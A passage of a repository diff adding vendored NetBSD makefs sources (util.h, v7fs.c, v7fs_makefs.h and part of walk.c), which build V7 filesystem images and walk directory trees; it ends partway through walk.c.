/* $NetBSD: util.h,v 1.69 2016/04/10 19:05:50 roy Exp $ */
/*-
* Copyright (c) 1995
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef _UTIL_H_
#define _UTIL_H_
#include <sys/cdefs.h>
#include <sys/types.h>
//#include <sys/ansi.h>
#include <inttypes.h>
#ifdef _BSD_TIME_T_
typedef _BSD_TIME_T_ time_t;
#undef _BSD_TIME_T_
#endif
#ifdef _BSD_SIZE_T_
typedef _BSD_SIZE_T_ size_t;
#undef _BSD_SIZE_T_
#endif
#if defined(_POSIX_C_SOURCE)
#ifndef __VA_LIST_DECLARED
//typedef __va_list va_list;
#define __VA_LIST_DECLARED
#endif
#endif
#define PIDLOCK_NONBLOCK 1
#define PIDLOCK_USEHOSTNAME 2
#define PW_POLICY_BYSTRING 0
#define PW_POLICY_BYPASSWD 1
#define PW_POLICY_BYGROUP 2
__BEGIN_DECLS
struct disklabel;
struct iovec;
struct passwd;
struct termios;
struct utmp;
struct utmpx;
struct winsize;
struct sockaddr;
char *flags_to_string(unsigned long, const char *);
pid_t forkpty(int *, char *, struct termios *, struct winsize *);
const char *getbootfile(void);
int getbyteorder(void);
off_t getlabeloffset(void);
int getlabelsector(void);
int getlabelusesmbr(void);
int getmaxpartitions(void);
int getrawpartition(void);
const char *getdiskrawname(char *, size_t, const char *);
const char *getdiskcookedname(char *, size_t, const char *);
const char *getfstypename(int);
const char *getfsspecname(char *, size_t, const char *);
struct kinfo_vmentry *kinfo_getvmmap(pid_t, size_t *);
#if 0
//#ifndef __LIBC12_SOURCE__
void login(const struct utmp *) __RENAME(__login50);
void loginx(const struct utmpx *) __RENAME(__loginx50);
#endif
int login_tty(int);
int logout(const char *);
int logoutx(const char *, int, int);
void logwtmp(const char *, const char *, const char *);
void logwtmpx(const char *, const char *, const char *, int, int);
int opendisk(const char *, int, char *, size_t, int);
int opendisk1(const char *, int, char *, size_t, int,
int (*)(const char *, int, ...));
int openpty(int *, int *, char *, struct termios *,
struct winsize *);
#if 0
//#ifndef __LIBC12_SOURCE__
time_t parsedate(const char *, const time_t *, const int *)
__RENAME(__parsedate50);
#endif
int pidfile(const char *);
pid_t pidfile_lock(const char *);
pid_t pidfile_read(const char *);
int pidfile_clean(void);
int pidlock(const char *, int, pid_t *, const char *);
int pw_abort(void);
#if 0
//#ifndef __LIBC12_SOURCE__
void pw_copy(int, int, struct passwd *, struct passwd *)
__RENAME(__pw_copy50);
int pw_copyx(int, int, struct passwd *, struct passwd *,
char *, size_t) __RENAME(__pw_copyx50);
#endif
void pw_edit(int, const char *);
//__dead void pw_error(const char *, int, int);
void pw_getconf(char *, size_t, const char *, const char *);
#if 0
//#ifndef __LIBC12_SOURCE__
void pw_getpwconf(char *, size_t, const struct passwd *,
const char *) __RENAME(__pw_getpwconf50);
#endif
const char *pw_getprefix(void);
void pw_init(void);
int pw_lock(int);
int pw_mkdb(const char *, int);
void pw_prompt(void);
int pw_setprefix(const char *);
int raise_default_signal(int);
int secure_path(const char *);
int snprintb_m(char *, size_t, const char *, uint64_t, size_t);
int snprintb(char *, size_t, const char *, uint64_t);
int sockaddr_snprintf(char *, size_t, const char *,
const struct sockaddr *);
char *strpct(char *, size_t, uintmax_t, uintmax_t, size_t);
char *strspct(char *, size_t, intmax_t, intmax_t, size_t);
int string_to_flags(char **, unsigned long *, unsigned long *);
int ttyaction(const char *, const char *, const char *);
int ttylock(const char *, int, pid_t *);
char *ttymsg(struct iovec *, int, const char *, int);
int ttyunlock(const char *);
uint16_t disklabel_dkcksum(struct disklabel *);
int disklabel_scan(struct disklabel *, char *, size_t);
/* Error checked functions */
void (*esetfunc(void (*)(int, const char *, ...)))
(int, const char *, ...);
size_t estrlcpy(char *, const char *, size_t);
size_t estrlcat(char *, const char *, size_t);
char *estrdup(const char *);
char *estrndup(const char *, size_t);
intmax_t estrtoi(const char *, int, intmax_t, intmax_t);
uintmax_t estrtou(const char *, int, uintmax_t, uintmax_t);
void *ecalloc(size_t, size_t);
void *emalloc(size_t);
void *erealloc(void *, size_t);
void ereallocarr(void *, size_t, size_t);
struct __sFILE *efopen(const char *, const char *);
//int easprintf(char ** __restrict, const char * __restrict, ...)
// __printflike(2, 3);
//int evasprintf(char ** __restrict, const char * __restrict,
// __va_list) __printflike(2, 0);
__END_DECLS
#endif /* !_UTIL_H_ */

191
thirdparty/makefs/v7fs.c vendored Normal file
View File

@@ -0,0 +1,191 @@
/* $NetBSD: v7fs.c,v 1.8 2013/01/29 15:52:25 christos Exp $ */
/*-
* Copyright (c) 2011 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by UCHIYAMA Yasushi.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
#include <sys/cdefs.h>
#if defined(__RCSID) && !defined(__lint)
__RCSID("$NetBSD: v7fs.c,v 1.8 2013/01/29 15:52:25 christos Exp $");
#endif /* !__lint */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <util.h>
#include "makefs.h"
#include "v7fs.h"
#include "v7fs_impl.h"
#include "v7fs_makefs.h"
#include "newfs_v7fs.h"
#ifndef HAVE_NBTOOL_CONFIG_H
#include "progress.h"
static bool progress_bar_enable;
#endif
int v7fs_newfs_verbose;
void
v7fs_prep_opts(fsinfo_t *fsopts)
{
v7fs_opt_t *v7fs_opts = ecalloc(1, sizeof(*v7fs_opts));
const option_t v7fs_options[] = {
{ 'p', "pdp", &v7fs_opts->pdp_endian, OPT_INT32, false, true,
"PDP endian" },
{ 'P', "progress", &v7fs_opts->progress, OPT_INT32, false, true,
"Progress bar" },
{ .name = NULL }
};
fsopts->fs_specific = v7fs_opts;
fsopts->fs_options = copy_opts(v7fs_options);
}
void
v7fs_cleanup_opts(fsinfo_t *fsopts)
{
free(fsopts->fs_specific);
free(fsopts->fs_options);
}
int
v7fs_parse_opts(const char *option, fsinfo_t *fsopts)
{
return set_option_var(fsopts->fs_options, option, "1", NULL, 0) != -1;
}
void
v7fs_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts)
{
struct v7fs_mount_device v7fs_mount;
int fd, endian, error = 1;
v7fs_opt_t *v7fs_opts = fsopts->fs_specific;
v7fs_newfs_verbose = debug;
#ifndef HAVE_NBTOOL_CONFIG_H
if ((progress_bar_enable = v7fs_opts->progress)) {
progress_switch(progress_bar_enable);
progress_init();
progress(&(struct progress_arg){ .cdev = image });
}
#endif
/* Determine filesystem image size */
v7fs_estimate(dir, root, fsopts);
printf("Calculated size of `%s': %lld bytes, %ld inodes\n",
image, (long long)fsopts->size, (long)fsopts->inodes);
if ((fd = open(image, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) {
err(EXIT_FAILURE, "%s", image);
}
if (lseek(fd, fsopts->size - 1, SEEK_SET) == -1) {
goto err_exit;
}
if (write(fd, &fd, 1) != 1) {
goto err_exit;
}
if (lseek(fd, 0, SEEK_SET) == -1) {
goto err_exit;
}
fsopts->fd = fd;
v7fs_mount.device.fd = fd;
#if !defined BYTE_ORDER
#error
#endif
#if BYTE_ORDER == LITTLE_ENDIAN
if (fsopts->needswap)
endian = BIG_ENDIAN;
else
endian = LITTLE_ENDIAN;
#else
if (fsopts->needswap)
endian = LITTLE_ENDIAN;
else
endian = BIG_ENDIAN;
#endif
if (v7fs_opts->pdp_endian) {
endian = PDP_ENDIAN;
}
v7fs_mount.endian = endian;
v7fs_mount.sectors = fsopts->size >> V7FS_BSHIFT;
if (v7fs_newfs(&v7fs_mount, fsopts->inodes) != 0) {
goto err_exit;
}
if (v7fs_populate(dir, root, fsopts, &v7fs_mount) != 0) {
error = 2; /* some files couldn't add */
goto err_exit;
}
close(fd);
return;
err_exit:
close(fd);
err(error, "%s", image);
}
void
progress(const struct progress_arg *p)
{
#ifndef HAVE_NBTOOL_CONFIG_H
static struct progress_arg Progress;
static char cdev[32];
static char label[32];
if (!progress_bar_enable)
return;
if (p) {
Progress = *p;
if (p->cdev)
strcpy(cdev, p->cdev);
if (p->label)
strcpy(label, p->label);
}
if (!Progress.tick)
return;
if (++Progress.cnt > Progress.tick) {
Progress.cnt = 0;
Progress.total++;
progress_bar(cdev, label, Progress.total, PROGRESS_BAR_GRANULE);
}
#endif
}

49
thirdparty/makefs/v7fs_makefs.h vendored Normal file
View File

@@ -0,0 +1,49 @@
/* $NetBSD: v7fs_makefs.h,v 1.2 2011/08/10 11:31:49 uch Exp $ */
/*-
* Copyright (c) 2011 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by UCHIYAMA Yasushi.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _MAKEFS_V7FS_H_
#define _MAKEFS_V7FS_H_
typedef struct {
int pdp_endian;
int progress;
v7fs_daddr_t npuredatablk; /* for progress bar */
} v7fs_opt_t;
__BEGIN_DECLS
void v7fs_estimate(const char *, fsnode *, fsinfo_t *);
int v7fs_populate(const char *, fsnode *, fsinfo_t *,
const struct v7fs_mount_device *);
struct progress_arg;
void progress(const struct progress_arg *);
extern int v7fs_newfs_verbose;
__END_DECLS
#endif /*!_MAKEFS_V7FS_H_*/

765
thirdparty/makefs/walk.c vendored Normal file
View File

@@ -0,0 +1,765 @@
/*
* Copyright (c) 2001 Wasabi Systems, Inc.
* All rights reserved.
*
* Written by Luke Mewburn for Wasabi Systems, Inc.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed for the NetBSD Project by
* Wasabi Systems, Inc.
* 4. The name of Wasabi Systems, Inc. may not be used to endorse
* or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
#include <sys/cdefs.h>
#if defined(__RCSID) && !defined(__lint)
__RCSID("$NetBSD: walk.c,v 1.28 2013/02/03 06:16:53 christos Exp $");
#endif /* !__lint */
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "util.h"
#include "makefs.h"
#include "mtree.h"
#ifndef ALLPERMS
# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO)
#endif
u_int
nodetoino(u_int type)
{
switch (type) {
case F_BLOCK:
return S_IFBLK;
case F_CHAR:
return S_IFCHR;
case F_DIR:
return S_IFDIR;
case F_FIFO:
return S_IFIFO;
case F_FILE:
return S_IFREG;
case F_LINK:
return S_IFLNK;
#ifdef S_IFSOCK
case F_SOCK:
return S_IFSOCK;
#endif
default:
printf("unknown type %d", type);
abort();
}
/* NOTREACHED */
}
const char *
nodetype(u_int type)
{
return (inotype(nodetoino(type)));
}
const char *
inotype(u_int type)
{
switch (type & S_IFMT) {
case S_IFBLK:
return ("block");
case S_IFCHR:
return ("char");
case S_IFDIR:
return ("dir");
case S_IFIFO:
return ("fifo");
case S_IFREG:
return ("file");
case S_IFLNK:
return ("link");
#ifdef S_IFSOCK
case S_IFSOCK:
return ("socket");
#endif
#ifdef S_IFDOOR
case S_IFDOOR:
return ("door");
#endif
default:
return ("unknown");
}
/* NOTREACHED */
}
#define HAVE_STRUCT_STAT_ST_FLAGS 0
static void apply_specdir(const char *, NODE *, fsnode *, int);
static void apply_specentry(const char *, NODE *, fsnode *);
static fsnode *create_fsnode(const char *, const char *, const char *,
struct stat *);
static fsinode *link_check(fsinode *);
/*
* walk_dir --
* build a tree of fsnodes from `root' and `dir', with a parent
* fsnode of `parent' (which may be NULL for the root of the tree).
* append the tree to a fsnode of `join' if it is not NULL.
* each "level" is a directory, with the "." entry guaranteed to be
* at the start of the list, and without ".." entries.
*/
fsnode *
walk_dir(const char *root, const char *dir, fsnode *parent, fsnode *join,
int replace)
{
fsnode *first, *cur, *prev, *last;
DIR *dirp;
struct dirent *dent;
char path[MAXPATHLEN + 1];
struct stat stbuf;
char *name, *rp;
int dot, len;
assert(root != NULL);
assert(dir != NULL);
len = snprintf(path, sizeof(path), "%s/%s", root, dir);
if (len >= (int)sizeof(path))
errx(1, "Pathname too long.");
if (debug & DEBUG_WALK_DIR)
printf("walk_dir: %s %p\n", path, parent);
if ((dirp = opendir(path)) == NULL)
err(1, "Can't opendir `%s'", path);
rp = path + strlen(root) + 1;
if (join != NULL) {
first = cur = join;
while (cur->next != NULL)
cur = cur->next;
prev = last = cur;
} else
last = first = prev = NULL;
while ((dent = readdir(dirp)) != NULL) {
name = dent->d_name;
dot = 0;
if (name[0] == '.')
switch (name[1]) {
case '\0': /* "." */
if (join != NULL)
continue;
dot = 1;
break;
case '.': /* ".." */
if (name[2] == '\0')
continue;
/* FALLTHROUGH */
default:
dot = 0;
}
if (debug & DEBUG_WALK_DIR_NODE)
printf("scanning %s/%s/%s\n", root, dir, name);
if (snprintf(path + len, sizeof(path) - len, "/%s", name) >=
(int)sizeof(path) - len)
errx(1, "Pathname too long.");
if (lstat(path, &stbuf) == -1)
err(1, "Can't lstat `%s'", path);
#ifdef S_ISSOCK
if (S_ISSOCK(stbuf.st_mode & S_IFMT)) {
if (debug & DEBUG_WALK_DIR_NODE)
printf(" skipping socket %s\n", path);
continue;
}
#endif
if (join != NULL) {
cur = join->next;
for (;;) {
if (cur == NULL || strcmp(cur->name, name) == 0)
break;
if (cur == last) {
cur = NULL;
break;
}
cur = cur->next;
}
if (cur != NULL) {
if (S_ISDIR(cur->type) &&
S_ISDIR(stbuf.st_mode)) {
if (debug & DEBUG_WALK_DIR_NODE)
printf("merging %s with %p\n",
path, cur->child);
cur->child = walk_dir(root, rp, cur,
cur->child, replace);
continue;
}
if (!replace)
errx(1, "Can't merge %s `%s' with "
"existing %s",
inode_type(stbuf.st_mode), path,
inode_type(cur->type));
else {
if (debug & DEBUG_WALK_DIR_NODE)
printf("replacing %s %s\n",
inode_type(stbuf.st_mode),
path);
if (cur == join->next)
join->next = cur->next;
else {
fsnode *p;
for (p = join->next;
p->next != cur; p = p->next)
continue;
p->next = cur->next;
}
free(cur);
}
}
}
cur = create_fsnode(root, dir, name, &stbuf);
cur->parent = parent;
if (dot) {
/* ensure "." is at the start of the list */
cur->next = first;
first = cur;
if (! prev)
prev = cur;
cur->first = first;
} else { /* not "." */
if (prev)
prev->next = cur;
prev = cur;
if (!first)
first = cur;
cur->first = first;
if (S_ISDIR(cur->type)) {
cur->child = walk_dir(root, rp, cur, NULL,
replace);
continue;
}
}
if (stbuf.st_nlink > 1) {
fsinode *curino;
curino = link_check(cur->inode);
if (curino != NULL) {
free(cur->inode);
cur->inode = curino;
cur->inode->nlink++;
if (debug & DEBUG_WALK_DIR_LINKCHECK)
printf("link_check: found [%llu, %llu]\n",
(unsigned long long)curino->st.st_dev,
(unsigned long long)curino->st.st_ino);
}
}
if (S_ISLNK(cur->type)) {
char slink[PATH_MAX+1];
int llen;
llen = readlink(path, slink, sizeof(slink) - 1);
if (llen == -1)
err(1, "Readlink `%s'", path);
slink[llen] = '\0';
cur->symlink = strdup(slink);
}
}
assert(first != NULL);
if (join == NULL)
for (cur = first->next; cur != NULL; cur = cur->next)
cur->first = first;
if (closedir(dirp) == -1)
err(1, "Can't closedir `%s/%s'", root, dir);
return (first);
}
static fsnode *
create_fsnode(const char *root, const char *path, const char *name,
struct stat *stbuf)
{
fsnode *cur;
cur = calloc(1, sizeof(*cur));
cur->path = strdup(path);
cur->name = strdup(name);
cur->inode = calloc(1, sizeof(*cur->inode));
cur->root = root;
cur->type = stbuf->st_mode & S_IFMT;
cur->inode->nlink = 1;
cur->inode->st = *stbuf;
return (cur);
}
/*
* free_fsnodes --
* Removes node from tree and frees it and all of
* its decendents.
*/
void
free_fsnodes(fsnode *node)
{
fsnode *cur, *next;
assert(node != NULL);
/* for ".", start with actual parent node */
if (node->first == node) {
assert(node->name[0] == '.' && node->name[1] == '\0');
if (node->parent) {
assert(node->parent->child == node);
node = node->parent;
}
}
/* Find ourselves in our sibling list and unlink */
if (node->first != node) {
for (cur = node->first; cur->next; cur = cur->next) {
if (cur->next == node) {
cur->next = node->next;
node->next = NULL;
break;
}
}
}
for (cur = node; cur != NULL; cur = next) {
next = cur->next;
if (cur->child) {
cur->child->parent = NULL;
free_fsnodes(cur->child);
}
if (cur->inode->nlink-- == 1)
free(cur->inode);
if (cur->symlink)
free(cur->symlink);
free(cur->path);
free(cur->name);
free(cur);
}
}
#if 0
/*
* apply_specfile --
* read in the mtree(8) specfile, and apply it to the tree
* at dir,parent. parameters in parent on equivalent types
* will be changed to those found in specfile, and missing
* entries will be added.
*/
void
apply_specfile(const char *specfile, const char *dir, fsnode *parent, int speconly)
{
struct timeval start;
FILE *fp;
NODE *root;
assert(specfile != NULL);
assert(parent != NULL);
if (debug & DEBUG_APPLY_SPECFILE)
printf("apply_specfile: %s, %s %p\n", specfile, dir, parent);
/* read in the specfile */
if ((fp = fopen(specfile, "r")) == NULL)
err(1, "Can't open `%s'", specfile);
TIMER_START(start);
root = spec(fp);
TIMER_RESULTS(start, "spec");
if (fclose(fp) == EOF)
err(1, "Can't close `%s'", specfile);
/* perform some sanity checks */
if (root == NULL)
errx(1, "Specfile `%s' did not contain a tree", specfile);
assert(strcmp(root->name, ".") == 0);
assert(root->type == F_DIR);
/* merge in the changes */
apply_specdir(dir, root, parent, speconly);
free_nodes(root);
}
#endif
static void
apply_specdir(const char *dir, NODE *specnode, fsnode *dirnode, int speconly)
{
char path[MAXPATHLEN + 1];
NODE *curnode;
fsnode *curfsnode;
assert(specnode != NULL);
assert(dirnode != NULL);
if (debug & DEBUG_APPLY_SPECFILE)
printf("apply_specdir: %s %p %p\n", dir, specnode, dirnode);
if (specnode->type != F_DIR)
errx(1, "Specfile node `%s/%s' is not a directory",
dir, specnode->name);
if (dirnode->type != S_IFDIR)
errx(1, "Directory node `%s/%s' is not a directory",
dir, dirnode->name);
apply_specentry(dir, specnode, dirnode);
/* Remove any filesystem nodes not found in specfile */
/* XXX inefficient. This is O^2 in each dir and it would
* have been better never to have walked this part of the tree
* to begin with
*/
if (speconly) {
fsnode *next;
assert(dirnode->name[0] == '.' && dirnode->name[1] == '\0');
for (curfsnode = dirnode->next; curfsnode != NULL; curfsnode = next) {
next = curfsnode->next;
for (curnode = specnode->child; curnode != NULL;
curnode = curnode->next) {
if (strcmp(curnode->name, curfsnode->name) == 0)
break;
}
if (curnode == NULL) {
if (debug & DEBUG_APPLY_SPECONLY) {
printf("apply_specdir: trimming %s/%s %p\n", dir, curfsnode->name, curfsnode);
}
free_fsnodes(curfsnode);
}
}
}
/* now walk specnode->child matching up with dirnode */
for (curnode = specnode->child; curnode != NULL;
curnode = curnode->next) {
if (debug & DEBUG_APPLY_SPECENTRY)
printf("apply_specdir: spec %s\n",
curnode->name);
for (curfsnode = dirnode->next; curfsnode != NULL;
curfsnode = curfsnode->next) {
#if 0 /* too verbose for now */
if (debug & DEBUG_APPLY_SPECENTRY)
printf("apply_specdir: dirent %s\n",
curfsnode->name);
#endif
if (strcmp(curnode->name, curfsnode->name) == 0)
break;
}
if ((size_t)snprintf(path, sizeof(path), "%s/%s",
dir, curnode->name) >= sizeof(path))
errx(1, "Pathname too long.");
if (curfsnode == NULL) { /* need new entry */
struct stat stbuf;
/*
* don't add optional spec entries
* that lack an existing fs entry
*/
if ((curnode->flags & F_OPT) &&
lstat(path, &stbuf) == -1)
continue;
/* check that enough info is provided */
#define NODETEST(t, m) \
if (!(t)) \
errx(1, "`%s': %s not provided", path, m)
NODETEST(curnode->flags & F_TYPE, "type");
NODETEST(curnode->flags & F_MODE, "mode");
/* XXX: require F_TIME ? */
NODETEST(curnode->flags & F_GID ||
curnode->flags & F_GNAME, "group");
NODETEST(curnode->flags & F_UID ||
curnode->flags & F_UNAME, "user");
if (curnode->type == F_BLOCK || curnode->type == F_CHAR)
NODETEST(curnode->flags & F_DEV,
"device number");
#undef NODETEST
#define HAVE_STRUCT_STAT_ST_MTIMENSEC 0
if (debug & DEBUG_APPLY_SPECFILE)
printf("apply_specdir: adding %s\n",
curnode->name);
/* build minimal fsnode */
memset(&stbuf, 0, sizeof(stbuf));
stbuf.st_mode = nodetoino(curnode->type);
stbuf.st_nlink = 1;
stbuf.st_mtime = stbuf.st_atime =
stbuf.st_ctime = start_time.tv_sec;
#if HAVE_STRUCT_STAT_ST_MTIMENSEC
stbuf.st_mtimensec = stbuf.st_atimensec =
stbuf.st_ctimensec = start_time.tv_nsec;
#endif
curfsnode = create_fsnode(".", ".", curnode->name,
&stbuf);
curfsnode->parent = dirnode->parent;
curfsnode->first = dirnode;
curfsnode->next = dirnode->next;
dirnode->next = curfsnode;
if (curfsnode->type == S_IFDIR) {
/* for dirs, make "." entry as well */
curfsnode->child = create_fsnode(".", ".", ".",
&stbuf);
curfsnode->child->parent = curfsnode;
curfsnode->child->first = curfsnode->child;
}
if (curfsnode->type == S_IFLNK) {
assert(curnode->slink != NULL);
/* for symlinks, copy the target */
curfsnode->symlink = strdup(curnode->slink);
}
}
apply_specentry(dir, curnode, curfsnode);
if (curnode->type == F_DIR) {
if (curfsnode->type != S_IFDIR)
errx(1, "`%s' is not a directory", path);
assert (curfsnode->child != NULL);
apply_specdir(path, curnode, curfsnode->child, speconly);
}
}
}
static void
apply_specentry(const char *dir, NODE *specnode, fsnode *dirnode)
{
assert(specnode != NULL);
assert(dirnode != NULL);
if (nodetoino(specnode->type) != dirnode->type)
errx(1, "`%s/%s' type mismatch: specfile %s, tree %s",
dir, specnode->name, inode_type(nodetoino(specnode->type)),
inode_type(dirnode->type));
if (debug & DEBUG_APPLY_SPECENTRY)
printf("apply_specentry: %s/%s\n", dir, dirnode->name);
#define ASEPRINT(t, b, o, n) \
if (debug & DEBUG_APPLY_SPECENTRY) \
printf("\t\t\tchanging %s from " b " to " b "\n", \
t, o, n)
if (specnode->flags & (F_GID | F_GNAME)) {
ASEPRINT("gid", "%d",
dirnode->inode->st.st_gid, specnode->st_gid);
dirnode->inode->st.st_gid = specnode->st_gid;
}
if (specnode->flags & F_MODE) {
ASEPRINT("mode", "%#o",
dirnode->inode->st.st_mode & ALLPERMS, specnode->st_mode);
dirnode->inode->st.st_mode &= ~ALLPERMS;
dirnode->inode->st.st_mode |= (specnode->st_mode & ALLPERMS);
}
/* XXX: ignoring F_NLINK for now */
if (specnode->flags & F_SIZE) {
ASEPRINT("size", "%lld",
(long long)dirnode->inode->st.st_size,
(long long)specnode->st_size);
dirnode->inode->st.st_size = specnode->st_size;
}
if (specnode->flags & F_SLINK) {
assert(dirnode->symlink != NULL);
assert(specnode->slink != NULL);
ASEPRINT("symlink", "%s", dirnode->symlink, specnode->slink);
free(dirnode->symlink);
dirnode->symlink = strdup(specnode->slink);
}
if (specnode->flags & F_TIME) {
ASEPRINT("time", "%ld",
(long)dirnode->inode->st.st_mtime,
(long)specnode->st_mtimespec.tv_sec);
dirnode->inode->st.st_mtime = specnode->st_mtimespec.tv_sec;
dirnode->inode->st.st_atime = specnode->st_mtimespec.tv_sec;
dirnode->inode->st.st_ctime = start_time.tv_sec;
#if HAVE_STRUCT_STAT_ST_MTIMENSEC
dirnode->inode->st.st_mtimensec = specnode->st_mtimespec.tv_nsec;
dirnode->inode->st.st_atimensec = specnode->st_mtimespec.tv_nsec;
dirnode->inode->st.st_ctimensec = start_time.tv_nsec;
#endif
}
if (specnode->flags & (F_UID | F_UNAME)) {
ASEPRINT("uid", "%d",
dirnode->inode->st.st_uid, specnode->st_uid);
dirnode->inode->st.st_uid = specnode->st_uid;
}
#if HAVE_STRUCT_STAT_ST_FLAGS
if (specnode->flags & F_FLAGS) {
ASEPRINT("flags", "%#lX",
(unsigned long)dirnode->inode->st.st_flags,
(unsigned long)specnode->st_flags);
dirnode->inode->st.st_flags = specnode->st_flags;
}
#endif
if (specnode->flags & F_DEV) {
ASEPRINT("rdev", "%#llx",
(unsigned long long)dirnode->inode->st.st_rdev,
(unsigned long long)specnode->st_rdev);
dirnode->inode->st.st_rdev = specnode->st_rdev;
}
#undef ASEPRINT
dirnode->flags |= FSNODE_F_HASSPEC;
}
/*
* dump_fsnodes --
* dump the fsnodes from `cur'
*/
void
